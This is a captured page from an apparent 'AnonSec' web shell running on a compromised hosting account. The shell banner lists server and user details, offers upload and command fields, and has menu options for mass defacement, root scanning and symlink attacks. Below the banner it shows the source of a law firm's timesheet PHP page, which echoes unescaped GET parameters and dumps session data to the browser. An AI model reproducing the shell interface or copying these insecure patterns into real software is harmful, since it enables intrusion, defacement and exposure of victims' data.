AnonSec Shell
Server IP : 172.67.216.113  /  Your IP : 104.23.243.32   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/cp648411/public_html/ilawasia.onnud20.com/TimeSheet/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home2/cp648411/public_html/ilawasia.onnud20.com/TimeSheet/index2.php
<?php $path = '../'; ?>
<?php $page="Timesheet"; ?>
<?php $page_title="Timesheet"; ?>
<?php include("../include/class.php"); ?>
<?php require_once("../class/timesheetClass.php"); ?>
<?php $timesheet_db = new timesheetClass; ?>
<?php include($path."include/head.php"); ?>
<body id="page-top">
    <!-- Page Wrapper -->
    <div id="wrapper">

        <!-- Sidebar -->
        <?php include($path."themes/menu-left.php"); ?>

        <!-- End of Sidebar -->
        <!-- Content Wrapper -->
        <div id="content-wrapper" class="d-flex flex-column">
            <!-- Topbar -->
            <?php include($path."themes/menu-top.php"); ?>
            <!-- End of Topbar -->
            <!-- Begin Page Content -->
            <div class="container-fluid main-content">

              <input type="hidden" id="page-menu-id" name="" value="#menu_case" />
              <div class="d-sm-flex align-items-center justify-content-between mb-4">
                  <h1 class="h3 mb-0 text-gray-800">Case > Time Sheet</h1>
              </div>
              <input type="hidden" id="year" value="<?php echo @$_GET['Year']; ?>">
              <input type="hidden" id="month" value="<?php echo @$_GET['Month']; ?>">
              <form action="index.php" method="get" class="mb-3">
                  <div class="row">
                      <div class="col-md-1">
                          Year:
                      </div>
                      <?php
                      $year_fix = date("Y");
                      $year = date("Y");
                      $month = date("m");
                      if(@$_GET['Year']!=''){$year=@$_GET['Year'];}
                      if(@$_GET['Month']!=''){$month=@$_GET['Month'];}

                      //$sql_y = array('table'=>'ct_timesheet',"count"=> "DISTINCT YEAR(`TaskDate`) AS yy");
                      $sql_y = array('table'=>'ct_timesheet',"count"=> "MIN(YEAR(`TaskDate`)) AS yy");
                      $view_y = $view_db->view($sql_y);
                      //$request_y = $view_db->q_re($view_y);
                      $row_y = $view_db->q($view_y);
                      $cy = $year_fix - $row_y['yy'];
                      ?>
                      <div class="col-md-2">
                          <select class="form-control" name="Year">
                            <?php for ($i=$row_y['yy']; $i <= $row_y['yy'] + $cy; $i++) { ?>
                              <option value="<?php echo $i; ?>" <?php echo ($year==$i)?"selected" : ""; ?>><?php echo $i; ?></option>
                            <?php } ?>
                            <option value="<?php echo $year_fix+1; ?>" <?php echo ($year_fix+1==$year)?"selected" : ""; ?> ><?php echo $year_fix+1; ?></option>

                          </select>
                      </div>
                      <div class="col-md-1">
                          Month:
                      </div>
                      <div class="col-md-2">
                          <select class="form-control" name="Month">
                            <?php for($i = 1; $i<=12;$i++){ //  @for (int i = (DateTime.Now.Year - 1); i <= (DateTime.Now.Year + 1); i++){ ?>
                                  <option value="<?php echo $i; ?>" <?php echo ($month==$i)?"selected" : ""; ?>>
                                    <?php echo $util_class->m_th_re($i); ?>
                                  </option>

                            <?php } ?>
                          </select>
                      </div>
                      <div class="col-md-2">
                          <button class="btn btn-success"><i class="fa fa-search"></i> Search</button>
                      </div>
                  </div>
              </form>
               <?php
               echo "<pre>";
               print_r($_SESSION);
               echo "</pre>";
               $data = $timesheet_db->Index($_SESSION['UserInfo'][0]['UserId'],$year,$month);
               $datas = $timesheet_db->Index2($_SESSION['UserInfo'][0]['UserId'],$year,$month);
               echo "<pre>";
               print_r($datas);
               echo "</pre>";
                if(count($data)>0){
                  foreach ($data as $key => $value) {
                    $TaskDescription = $value['TaskDescription'];
                    $TaskDescription = str_replace("'", "’", $TaskDescription);
                    $TaskDescription = str_replace('"', "“", $TaskDescription);

                    $CustomerName = $value['CustomerName'];
                    $CustomerName = str_replace("'", "’", $CustomerName);
                    $CustomerName = str_replace('"', "“", $CustomerName);

                    if($key<count($data)){
                      $data_new[$key]['TimeSheetId'] = $value['TimeSheetId'];
                      $data_new[$key]['TaskDate'] = $value['TaskDate'];
                      $data_new[$key]['TaskDescription'] = trim($TaskDescription);
                      $data_new[$key]['Duration'] = $value['Duration'];
                      $data_new[$key]['CaseId'] = $value['CaseId'];
                      $data_new[$key]['CaseTimeSheetId'] = $value['CaseTimeSheetId'];
                      $data_new[$key]['CaseNumber'] = $value['CaseNumber'];
                      $data_new[$key]['CustomerCode'] = $value['CustomerCode'];
                      $data_new[$key]['CustomerName'] = trim($CustomerName);
                    }
                  }

                }else{
                  $data_new = $data;

                }

               $data_new = json_encode($data_new, JSON_UNESCAPED_UNICODE);


               ?>

                  <div id="jsGrid"></div>

                  <link href="<?php echo $path; ?>Assets/Backend/vendor/bootstrap-datepicker/css/bootstrap-datepicker.min.css" rel="stylesheet" />
                  <script src="<?php echo $path; ?>Assets/Backend/vendor/bootstrap-datepicker/js/bootstrap-datepicker.min.js"></script>
                  <script src="<?php echo $path; ?>Assets/Backend/vendor/moment.js"></script>

                  <link href="<?php echo $path; ?>Assets/Backend/vendor/jsgrid/jsgrid.min.css" rel="stylesheet" />
                  <link href="<?php echo $path; ?>Assets/Backend/vendor/jsgrid/jsgrid-theme.min.css" rel="stylesheet" />
                  <script src="<?php echo $path; ?>Assets/Backend/vendor/jsgrid/jsgrid.min.js"></script>

                  <link href="<?php echo $path; ?>Assets/Backend/vendor/jquery-ui/jquery-ui.min.css" rel="stylesheet" />
                  <script src="<?php echo $path; ?>Assets/Backend/vendor/jquery-ui/jquery-ui.min.js"></script>

                <script>
                $(document).ready(function ($) {

                  var tsList = '<?php echo $data_new; ?>';
                  tsList = JSON.parse(tsList);
                  //tsList.forEach((element, index) => {
                    //var date2 = new Date(parseInt(element.TaskDate.replace("/Date(", "").replace(")/", ""), 10));

                    //var date = element.TaskDate.split(' ');
                    //date = date[0].split('-');
                    //date = formatDate(new Date(date[0], date[1]-1, date[2]));

                    //element.TaskDate = date;
                    //element.TaskDate2 = element.TaskDate;
                    //element.TaskDate = moment(date)._i;
                    //console.log(element);
                  //});

                  var count = tsList.length + 20;
                  for (var i = (tsList.length + 1); i <= count; i++) {
                      tsList.push({
                          "TimeSheetId": null,
                          "TaskDate": null,
                          "TaskDescription": "",
                          "Duration": null,
                          "CaseNumber": "",
                          "CustomerCode":""
                      });
                  }



                      var urlCreate = "Create.php";//"@Url.Action("Create")";
                      var urlUpdate = "Update.php"//"@Url.Action("Update")";
                      var urlDelete = "Delete.php";//"@Url.Action("Delete")";
                      var urlLoadCaseNumber = "LoadCaseAutoComplete.php"//"@Url.Action("LoadCaseAutoComplete", "CaseList")";
                      var urlLoadCustomer = "LoadCustomerAutoComplete.php"//"@Url.Action("LoadCustomerAutoComplete","Customer")";


                      function formatDate(date) {
                        return [
                          padTo2Digits(date.getDate()),
                          padTo2Digits(date.getMonth() + 1),
                          date.getFullYear(),
                        ].join('/');
                      }
                      function padTo2Digits(num) {
                        return num.toString().padStart(2, '0');
                      }

                        var dateField = function (config) {
                            jsGrid.Field.call(this, config);
                        };

                        dateField.prototype = new jsGrid.Field({
                            sorter: function (date1, date2) {
                                return new Date(date1) - new Date(date2);
                            },
                            itemTemplate: function (value) {
                                if (value != null) {
                                    return moment(value).format('DD/MM/YYYY');
                                } else {
                                    return '';
                                }
                            },
                            insertTemplate: function (value) {
                              return this._insertPicker = $("<input>").datepicker({
                                format: 'dd/mm/yyyy',
                                todayHighlight: true
                              });
                            },
                            editTemplate: function (value) {
                                if (value != null) {
                                  return this._editPicker = $("<input>").datepicker({
                                    format: 'dd/mm/yyyy',
                                    todayHighlight: true
                                  }).datepicker("setDate",  moment(value).format('DD/MM/YYYY'));

                                  //.datepicker("setDate", value);

                                } else {
                                    return this._editPicker = $("<input>").datepicker({
                                        format: 'dd/mm/yyyy',
                                        todayHighlight: true
                                    });
                                }
                            },
                            insertValue: function () {
                                return moment(this._insertPicker.datepicker("getDate")).format('DD/MM/YYYY');

                            },
                            editValue: function () {
                                return  moment(this._editPicker.datepicker("getDate")).format('DD/MM/YYYY');
                            }
                        });
                        function DecimalField(config) {
                            jsGrid.fields.number.call(this, config);
                        }

                        DecimalField.prototype = new jsGrid.fields.number({
                            filterValue: function () {
                                return this.filterControl.val()
                                    ? parseFloat(this.filterControl.val() || 0, 10)
                                    : undefined;
                            },

                            insertValue: function () {
                                return this.insertControl.val()
                                    ? parseFloat(this.insertControl.val() || 0, 10)
                                    : undefined;
                            },

                            editValue: function () {
                                return this.editControl.val()
                                    ? parseFloat(this.editControl.val() || 0, 10)
                                    : undefined;
                            }
                        });

                        jsGrid.fields.decimal = jsGrid.DecimalField = DecimalField;
                        jsGrid.fields.dateField = dateField;

                        var caseNumberField = function (config) {
                            jsGrid.Field.call(this, config);
                        };
                        caseNumberField.prototype = new jsGrid.Field({
                            itemTemplate: function (value) {
                                return value ;
                            },

                            insertTemplate: function (value) {
                                return this._insertAuto = $("<input>").autocomplete({
                                    source: function (request, response) {
                                        $.getJSON(urlLoadCaseNumber, {
                                            Keyword: value
                                        }, response);
                                    }
                                });
                            },

                            editTemplate: function (value) {
                                var input = $("<input>");
                                var autocomp = input.autocomplete({
                                    source: function (request, response) {
                                        $.getJSON(urlLoadCaseNumber, {
                                            Keyword: input.val()
                                        }, response);
                                    },
                                    select: function (event, ui) {
                                        input.val(ui.item.CaseNumber);
                                        return false;
                                    }
                                }).val(value);
                                autocomp.autocomplete("instance")._renderItem = function (ul, item) {
                                    return $("<li>").append(item.CaseNumber).appendTo(ul);
                                };
                                return this._editAuto = autocomp;
                            },
                            insertValue: function () {
                                return this._insertAuto.val();
                            },
                            editValue: function () {
                                return this._editAuto.val();
                            }
                        });

                        jsGrid.fields.caseNumberField = caseNumberField;

                        var selectedCustomerCode = "";
                        var customerField = function (config) {
                            jsGrid.Field.call(this, config);
                        };
                        customerField.prototype = new jsGrid.Field({
                            itemTemplate: function (value) {
                                return value;
                            },
                            insertTemplate: function (value) {
                                return this._insertAuto = $("<input>").autocomplete({
                                    source: function (request, response) {
                                        $.getJSON(urlLoadCustomer, {
                                            Keyword: value
                                        }, response);
                                    }
                                });
                            },
                            editTemplate: function (value) {
                                var input = $("<input>");
                                var autocomp = input.autocomplete({
                                    source: function (request, response) {
                                        $.getJSON(urlLoadCustomer, {
                                            Keyword: input.val()
                                        }, response);
                                    },
                                    select: function (event, ui) {
                                        input.val(ui.item.custCode + '-' + ui.item.custName);
                                        selectedCustomerCode = ui.item.custCode;
                                        return false;
                                    }
                                }).val(value);
                                autocomp.autocomplete("instance")._renderItem = function (ul, item) {

                                    return $("<li>").append(item.custCode + '-' + item.custName).appendTo(ul);
                                };
                                return this._editAuto = autocomp;
                            },
                            insertValue: function () {
                                return this._insertAuto.val();
                            },
                            editValue: function () {
                                return this._editAuto.val();
                            }
                        });
                        jsGrid.fields.customerField = customerField;


                          $("#jsGrid").jsGrid({
                              width: "100%",
                              inserting: false,
                              editing: true,
                              sorting: true,
                              paging: false,
                              data: tsList,
                              fields: [
                                  { name: "TimeSheetId", type: "number",visible:false},
                                  { name: "TaskDate", type: "dateField", validate: "required", width: 50 },
                                  { name: "TaskDescription", type: "text", validate: "required", width: 100 },
                                  { name: "Duration", title:"Duration (Hrs.)", type: "decimal", validate: "required", width: 50 },
                                  { name: "CaseNumber", type: "caseNumberField", width: 50 },
                                  { name: "CustomerName", type: "customerField", width: 50 },
                                  { name: "CustomerCode", type: "text", width: 50, visible:false },
                                  {
                                      type: "control", _createCancelEditButton: function () {
                                          var $result = jsGrid.fields.control.prototype._createCancelEditButton.apply(this, arguments);
                                          $result.on("click", function () { selectedCustomerCode = ""; });
                                          return $result;
                                      } }
                              ],
                              onItemEditing: function (args) {
                                  selectedCustomerCode = "";
                              },
                              onItemUpdating: function (args) {
                                  var form = $('#__AjaxAntiForgeryForm');
                                  var token = $('input[name="__RequestVerificationToken"]', form).val();
                                  var params = {
                                      __RequestVerificationToken: token,
                                  };
                                  params = Object.assign({}, params, args.item);

                                  if (args.item.CustomerName != "" && selectedCustomerCode != "") {
                                      params.CustomerCode = selectedCustomerCode;
                                  } else if (args.item.CustomerName == "" && selectedCustomerCode == ""){
                                      params.CustomerCode = "";
                                  }

                                  if (args.item.TimeSheetId == null) { //add new
                                      $.ajax({
                                          url: urlCreate,
                                          data: params,
                                          type: 'POST',
                                          async: false,
                                          success: function (result) {
                                            var res = JSON.parse(result);
                                            //console.log(res);
                                              setTimeout(function () {
                                                  selectedCustomerCode = "";
                                                  tsList[args.itemIndex].TimeSheetId = res.Id;
                                                  tsList[args.itemIndex].TaskDate = res.TaskDate;
                                                  tsList[args.itemIndex].CustomerCode = res.CustomerCode;
                                                  tsList[args.itemIndex].CustomerName = res.CustomerName;
                                                  $("#jsGrid").jsGrid("refresh");
                                              }, 500);
                                          },
                                          error: function (jqXHR, textStatus, errorThrown) {
                                              if (jqXHR.status == 400) {
                                                  alert(jqXHR.responseJSON.Message);
                                                  args.cancel = true;
                                              }
                                          }
                                      });
                                  } else {
                                      $.ajax({
                                          url: urlUpdate,
                                          data: params,
                                          type: 'POST',
                                          async: false,
                                          success: function (result) {
                                            var res = JSON.parse(result);
                                            //console.log(res);
                                              setTimeout(function () {
                                                  selectedCustomerCode = "";
                                                  tsList[args.itemIndex].CustomerCode = res.CustomerCode;
                                                  tsList[args.itemIndex].CustomerName = res.CustomerName;
                                                  tsList[args.itemIndex].TaskDate = res.TaskDate;
                                                  $("#jsGrid").jsGrid("refresh");
                                              }, 500)
                                          },
                                          error: function (jqXHR, textStatus, errorThrown) {
                                              if (jqXHR.status == 400) {
                                                  alert(jqXHR.responseJSON.Message);
                                                  args.cancel = true;
                                              }
                                          }
                                      });
                                  }
                              },
                              onItemDeleting: function (args) {
                                  var form = $('#__AjaxAntiForgeryForm');
                                  var token = $('input[name="__RequestVerificationToken"]', form).val();
                                  var params = {
                                      __RequestVerificationToken: token,
                                  };
                                  params = Object.assign({}, params, args.item);
                                  $.ajax({
                                      url: urlDelete,
                                      data: params,
                                      type: 'POST',
                                      async: false,
                                      success: function (result) {
                                          $("#jsgrid").jsGrid("refresh");
                                      },
                                      error: function (jqXHR, textStatus, errorThrown) {
                                          if (jqXHR.status == 400) {
                                              alert(jqXHR.responseJSON.Message);
                                              args.cancel = true;
                                          }
                                      }
                                  });
                              }
                          });
                      });
                </script>



            </div>


            <!-- End of Page Content -->
            <!-- Footer -->
            <footer class="sticky-footer bg-white">
                <div class="container my-auto">
                    <div class="copyright text-center my-auto">
                        <span>Copyright &copy;  ILAW CO., LTD.</span>
                    </div>
                </div>
            </footer>
            <!-- End of Footer -->
        </div>
        <!--End of Content Wrapper -->

    </div>
    <!-- End of Page Wrapper -->
    <!-- Scroll to Top Button-->
    <a class="scroll-to-top rounded" href="#page-top">
        <i class="fas fa-angle-up"></i>
    </a>

    <?php include($path."include/footer_js.php"); ?>



</body>
</html>

Anon7 - 2022
AnonSec Team